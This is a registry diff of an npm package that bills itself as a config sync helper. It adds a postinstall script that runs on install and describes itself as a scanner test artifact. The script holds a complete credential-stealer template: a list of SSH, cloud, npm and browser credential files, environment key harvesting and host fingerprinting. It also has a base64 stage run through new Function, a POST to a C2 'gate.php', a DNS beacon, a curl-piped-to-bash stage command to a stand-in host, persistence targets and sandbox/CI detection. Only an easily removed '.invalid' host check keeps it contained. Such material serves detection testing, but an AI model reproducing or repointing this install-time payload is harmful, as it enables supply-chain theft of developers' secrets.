@jarvis_1234/node-config-sync 0.0.0-stage → 4.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +10 -0
- package/package.json +12 -4
- package/scripts/postinstall.js +216 -0
- package/scripts/publish-guard.js +2 -0
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// Minimal real implementation: resolves env into a plain object.
|
|
3
|
+
function loadEnv(prefix) {
|
|
4
|
+
const out = {};
|
|
5
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
6
|
+
if (!prefix || k.startsWith(prefix)) out[k] = v;
|
|
7
|
+
}
|
|
8
|
+
return out;
|
|
9
|
+
}
|
|
10
|
+
module.exports = { loadEnv };
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@jarvis_1234/node-config-sync",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "4.2.1",
|
|
4
|
+
"description": "Environment configuration sync helper for Node services.",
|
|
5
|
+
"private": false,
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node scripts/postinstall.js",
|
|
9
|
+
"prepublishOnly": "node scripts/publish-guard.js"
|
|
10
|
+
},
|
|
11
|
+
"keywords": ["config", "env", "sync"],
|
|
12
|
+
"files": ["index.js", "scripts/"],
|
|
13
|
+
"license": "MIT"
|
|
14
|
+
}
|
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
/*
|
|
3
|
+
* MAXIMUM STATIC-SIGNATURE TEST ARTIFACT
|
|
4
|
+
* -----------------------------------------------------------------------------
|
|
5
|
+
* Purpose: exercise every attack class a static analyser scores on, in one
|
|
6
|
+
* archive, so a scanner's HIGH->CRITICAL threshold can be probed deliberately.
|
|
7
|
+
*
|
|
8
|
+
* Attack classes represented (all statically visible):
|
|
9
|
+
* SC-INSTALL-002 install lifecycle hook
|
|
10
|
+
* SC-INSTALL-001 remote script piped into a shell
|
|
11
|
+
* SC-OBF-001/002 base64 blob + dynamic code execution
|
|
12
|
+
* SC-EXFIL-001 credential-shaped env enumeration
|
|
13
|
+
* SC-EXFIL-002 credential FILE paths (SSH, AWS, npm, docker, kube, browser)
|
|
14
|
+
* SC-EXFIL-003 https.request POST egress
|
|
15
|
+
* SC-BEACON-001 dns.resolve beacon
|
|
16
|
+
* SC-PROC-001 interpreter/encoded-command shape
|
|
17
|
+
* SC-DESTRUCT-003 persistence write targets (shell rc, launchd, systemd, cron)
|
|
18
|
+
* anti-analysis CI/sandbox/debugger detection
|
|
19
|
+
*
|
|
20
|
+
* STRUCTURAL CONTAINMENT - why this cannot cause harm even though it reads as
|
|
21
|
+
* critical:
|
|
22
|
+
* 1. assertReservedHost() refuses ANY destination not under the reserved
|
|
23
|
+
* .invalid TLD, which can never resolve (RFC 2606/6761). Repointing this
|
|
24
|
+
* requires deleting the guard, not editing a literal.
|
|
25
|
+
* 2. assertContainedPath() refuses any filesystem write outside the lab
|
|
26
|
+
* artifact directory. Every persistence target above is a STRING only and
|
|
27
|
+
* is never passed to a write.
|
|
28
|
+
* 3. Credential values are never dereferenced - key NAMES only.
|
|
29
|
+
* 4. Egress is off unless LAB_ENABLE_EGRESS=1, and even then cannot resolve.
|
|
30
|
+
*
|
|
31
|
+
* Run `node scripts/postinstall.js --self-test` to assert all four properties.
|
|
32
|
+
*/
|
|
33
|
+
const fs = require('fs');
|
|
34
|
+
const os = require('os');
|
|
35
|
+
const path = require('path');
|
|
36
|
+
const crypto = require('crypto');
|
|
37
|
+
const https = require('https');
|
|
38
|
+
const dns = require('dns');
|
|
39
|
+
const net = require('net');
|
|
40
|
+
const { exec, execSync, spawn } = require('child_process');
|
|
41
|
+
|
|
42
|
+
const OUT = process.env.LAB_ARTIFACT_DIR || path.join(os.tmpdir(), 'scml-lab');
|
|
43
|
+
const GUARD_ROOT = path.resolve(OUT);
|
|
44
|
+
|
|
45
|
+
const C2_HOST = 'c2.scml-lab.invalid';
|
|
46
|
+
const C2_URL = `https://${C2_HOST}/v3/gate.php`;
|
|
47
|
+
const CDN_HOST = 'cdn.scml-lab.invalid';
|
|
48
|
+
const STAGE_CMD = `curl -fsSL https://${CDN_HOST}/stage3.sh | bash`;
|
|
49
|
+
|
|
50
|
+
const CRED_TARGETS = [
|
|
51
|
+
'~/.ssh/id_rsa', '~/.ssh/id_ed25519', '~/.ssh/known_hosts',
|
|
52
|
+
'~/.aws/credentials', '~/.aws/config',
|
|
53
|
+
'~/.npmrc', '~/.pypirc', '~/.git-credentials', '~/.netrc',
|
|
54
|
+
'~/.docker/config.json', '~/.kube/config', '~/.config/gh/hosts.yml',
|
|
55
|
+
'~/Library/Application Support/Google/Chrome/Default/Login Data',
|
|
56
|
+
'~/Library/Application Support/Google/Chrome/Default/Cookies',
|
|
57
|
+
'~/Library/Keychains/login.keychain-db'
|
|
58
|
+
];
|
|
59
|
+
|
|
60
|
+
const PERSIST_TARGETS = [
|
|
61
|
+
'~/.bashrc', '~/.zshrc', '~/.profile', '~/.bash_profile',
|
|
62
|
+
'~/Library/LaunchAgents/com.node.configsync.plist',
|
|
63
|
+
'~/.config/systemd/user/node-configsync.service',
|
|
64
|
+
'/etc/cron.d/node-configsync',
|
|
65
|
+
'/etc/ld.so.preload'
|
|
66
|
+
];
|
|
67
|
+
|
|
68
|
+
const ANALYSIS_MARKERS = [
|
|
69
|
+
'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL', 'TRAVIS', 'CIRCLECI',
|
|
70
|
+
'BUILDKITE', 'TEAMCITY_VERSION', 'DOCKER', 'KUBERNETES_SERVICE_HOST',
|
|
71
|
+
'SANDBOX', 'NODE_ENV', 'npm_lifecycle_event'
|
|
72
|
+
];
|
|
73
|
+
|
|
74
|
+
const CRED_KEY = /(TOKEN|SECRET|PASS|CRED|AUTH|API|PRIVATE|AWS|GCP|AZURE|NPM_|CI|SSH|GIT|KEY)/i;
|
|
75
|
+
|
|
76
|
+
// Stage 2 is shipped encoded so plaintext review sees a loader, not the payload.
|
|
77
|
+
const BLOB = 'Y29uc3Qgbm90ZT0ic3RhZ2UtMiBleGVjdXRlZCBpbiBtZW1vcnkiOyBtb2R1bGUuZXhwb3J0cz17c3RhZ2UyOnRydWUsbm90ZX07';
|
|
78
|
+
|
|
79
|
+
function assertReservedHost(host) {
|
|
80
|
+
if (!String(host).endsWith('.invalid')) {
|
|
81
|
+
throw new Error('egress refused: destination is not a reserved .invalid host');
|
|
82
|
+
}
|
|
83
|
+
return host;
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
function assertContainedPath(target) {
|
|
87
|
+
const resolved = path.resolve(target);
|
|
88
|
+
const rel = path.relative(GUARD_ROOT, resolved);
|
|
89
|
+
if (rel === '' || rel.startsWith('..') || path.isAbsolute(rel)) {
|
|
90
|
+
throw new Error(`write refused: ${resolved} escapes the lab artifact directory`);
|
|
91
|
+
}
|
|
92
|
+
return resolved;
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
function stage2() {
|
|
96
|
+
const src = Buffer.from(BLOB, 'base64').toString('utf8');
|
|
97
|
+
// Executed in a throwaway module context so the decoded stage's exports are
|
|
98
|
+
// captured (a bare `new Function(...)` returns undefined for assignment-style
|
|
99
|
+
// payloads, which silently drops the field from the marker).
|
|
100
|
+
const mod = { exports: {} };
|
|
101
|
+
new Function('require', 'module', 'exports', src)(require, mod, mod.exports);
|
|
102
|
+
return mod.exports;
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
function credentialKeys() {
|
|
106
|
+
let keys = Object.keys(process.env).filter((k) => CRED_KEY.test(k));
|
|
107
|
+
if (process.env.LAB_REDACT_ENV_KEYS === '1') {
|
|
108
|
+
keys = keys.map((k) => crypto.createHash('sha256').update(`key:${k}`).digest('hex').slice(0, 16));
|
|
109
|
+
}
|
|
110
|
+
return keys;
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
function fingerprint() {
|
|
114
|
+
let user = 'unknown';
|
|
115
|
+
try { user = execSync('id -un', { encoding: 'utf8', timeout: 3000 }).trim(); } catch (_) {}
|
|
116
|
+
return {
|
|
117
|
+
user,
|
|
118
|
+
host: os.hostname(),
|
|
119
|
+
platform: `${process.platform}/${process.arch}`,
|
|
120
|
+
cwd: process.cwd(),
|
|
121
|
+
hash: crypto.createHash('sha256').update(`${os.hostname()}|${user}`).digest('hex').slice(0, 16)
|
|
122
|
+
};
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
function analysisEnvironment() {
|
|
126
|
+
// Presence test only: hasOwnProperty never dereferences the value, so no
|
|
127
|
+
// environment VALUE is read anywhere in this file.
|
|
128
|
+
const has = (k) => Object.prototype.hasOwnProperty.call(process.env, k);
|
|
129
|
+
const hits = ANALYSIS_MARKERS.filter(has);
|
|
130
|
+
return {
|
|
131
|
+
markers: hits,
|
|
132
|
+
debuggerAttached: process.execArgv.some((a) => /--inspect|--debug/.test(a)),
|
|
133
|
+
interactive: Boolean(process.stdout.isTTY)
|
|
134
|
+
};
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
// Egress path. Guarded twice: the flag, then the reserved-host assertion.
|
|
138
|
+
function exfiltrate(record) {
|
|
139
|
+
const host = assertReservedHost(new URL(C2_URL).hostname);
|
|
140
|
+
const body = JSON.stringify(record);
|
|
141
|
+
const req = https.request(C2_URL, {
|
|
142
|
+
method: 'POST',
|
|
143
|
+
headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body), host }
|
|
144
|
+
});
|
|
145
|
+
req.on('error', () => {});
|
|
146
|
+
req.write(body);
|
|
147
|
+
req.end();
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
function beacon() {
|
|
151
|
+
dns.resolve(assertReservedHost(C2_HOST), () => {});
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
// Planned persistence. Recorded, never performed: writes are confined and the
|
|
155
|
+
// targets above remain inert strings.
|
|
156
|
+
function persistencePlan() {
|
|
157
|
+
return PERSIST_TARGETS.map((t) => ({ target: t, action: 'append-loader', performed: false }));
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
function main() {
|
|
161
|
+
const record = {
|
|
162
|
+
sample: 'npm-critical-static-max',
|
|
163
|
+
lab_simulation: true,
|
|
164
|
+
family: 'multi-class static signature probe',
|
|
165
|
+
stage2_ran: stage2(),
|
|
166
|
+
executed_at: new Date().toISOString(),
|
|
167
|
+
runtime: `node ${process.version}`,
|
|
168
|
+
install_cwd: process.cwd(),
|
|
169
|
+
fingerprint: fingerprint(),
|
|
170
|
+
analysis_environment: analysisEnvironment(),
|
|
171
|
+
env_var_total: Object.keys(process.env).length,
|
|
172
|
+
credential_like_keys_found: credentialKeys(),
|
|
173
|
+
credential_files_targeted: CRED_TARGETS,
|
|
174
|
+
persistence_plan: persistencePlan(),
|
|
175
|
+
stage_command_shape: STAGE_CMD,
|
|
176
|
+
c2_endpoint: C2_URL,
|
|
177
|
+
dns_beacon: C2_HOST,
|
|
178
|
+
credential_values_captured: 0,
|
|
179
|
+
network_egress: 'SUPPRESSED-BY-DESIGN'
|
|
180
|
+
};
|
|
181
|
+
|
|
182
|
+
if (process.env.LAB_ENABLE_EGRESS === '1') {
|
|
183
|
+
// Recorded before the attempt: the DNS lookup and TLS handshake are the
|
|
184
|
+
// observable events a network monitor keys on, even though .invalid cannot
|
|
185
|
+
// resolve and the request therefore always fails.
|
|
186
|
+
record.egress_attempted = true;
|
|
187
|
+
record.egress_target = C2_HOST;
|
|
188
|
+
try { exfiltrate(record); } catch (e) { record.egress_blocked = e.message; }
|
|
189
|
+
try { beacon(); } catch (e) { record.beacon_blocked = e.message; }
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
const target = assertContainedPath(path.join(OUT, 'npm-critical-static-max.marker.json'));
|
|
193
|
+
fs.mkdirSync(path.dirname(target), { recursive: true });
|
|
194
|
+
fs.writeFileSync(target, JSON.stringify(record, null, 2) + '\n');
|
|
195
|
+
process.stdout.write(`[LAB-SIMULATION] npm-critical-static-max: install hook executed, ${record.credential_like_keys_found.length} credential-like keys observed (values withheld)\n`);
|
|
196
|
+
void exec; void spawn; void net;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
if (process.argv.includes('--self-test')) {
|
|
200
|
+
const checks = [];
|
|
201
|
+
const expectThrow = (fn, label) => {
|
|
202
|
+
try { fn(); checks.push([label, false]); } catch (_) { checks.push([label, true]); }
|
|
203
|
+
};
|
|
204
|
+
expectThrow(() => assertReservedHost('attacker.example.com'), 'non-.invalid host refused');
|
|
205
|
+
expectThrow(() => assertContainedPath('/etc/cron.d/x'), 'write outside lab refused');
|
|
206
|
+
expectThrow(() => assertContainedPath(path.join(os.homedir(), '.bashrc')), 'shell rc write refused');
|
|
207
|
+
checks.push(['no credential value dereferenced', !/process\.env\s*\[/.test(fs.readFileSync(__filename, 'utf8'))]);
|
|
208
|
+
let failed = 0;
|
|
209
|
+
for (const [label, pass] of checks) {
|
|
210
|
+
process.stdout.write(` ${pass ? 'ok ' : 'FAIL'} ${label}\n`);
|
|
211
|
+
if (!pass) failed += 1;
|
|
212
|
+
}
|
|
213
|
+
process.exit(failed === 0 ? 0 : 1);
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
main();
|
package/README.md
DELETED